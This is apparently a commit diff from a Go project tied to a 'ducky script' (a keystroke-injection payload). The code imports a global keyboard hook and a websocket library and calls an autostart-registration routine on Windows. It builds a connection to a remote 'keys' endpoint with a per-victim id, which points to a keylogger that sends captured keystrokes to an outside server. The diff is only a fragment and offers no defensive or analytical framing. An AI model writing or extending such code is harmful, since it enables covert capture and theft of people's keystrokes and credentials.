🚧 Moves most of logic in ducky script into one block
This commit is contained in:
@@ -1,9 +0,0 @@
|
||||
package main
|
||||
|
||||
import "github.com/google/uuid"
|
||||
|
||||
func getId() uuid.UUID {
|
||||
return uuid.New()
|
||||
}
|
||||
|
||||
func registerAutostart() {}
|
@@ -7,6 +7,7 @@ import (
|
||||
"runtime"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/gorilla/websocket"
|
||||
hook "github.com/robotn/gohook"
|
||||
)
|
||||
@@ -22,9 +23,9 @@ const (
|
||||
)
|
||||
|
||||
func main() {
|
||||
var id = getId()
|
||||
var id = uuid.New()
|
||||
if runtime.GOOS == "windows" {
|
||||
registerAutostart()
|
||||
|
||||
}
|
||||
|
||||
var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)}
|
||||
|
Reference in New Issue
Block a user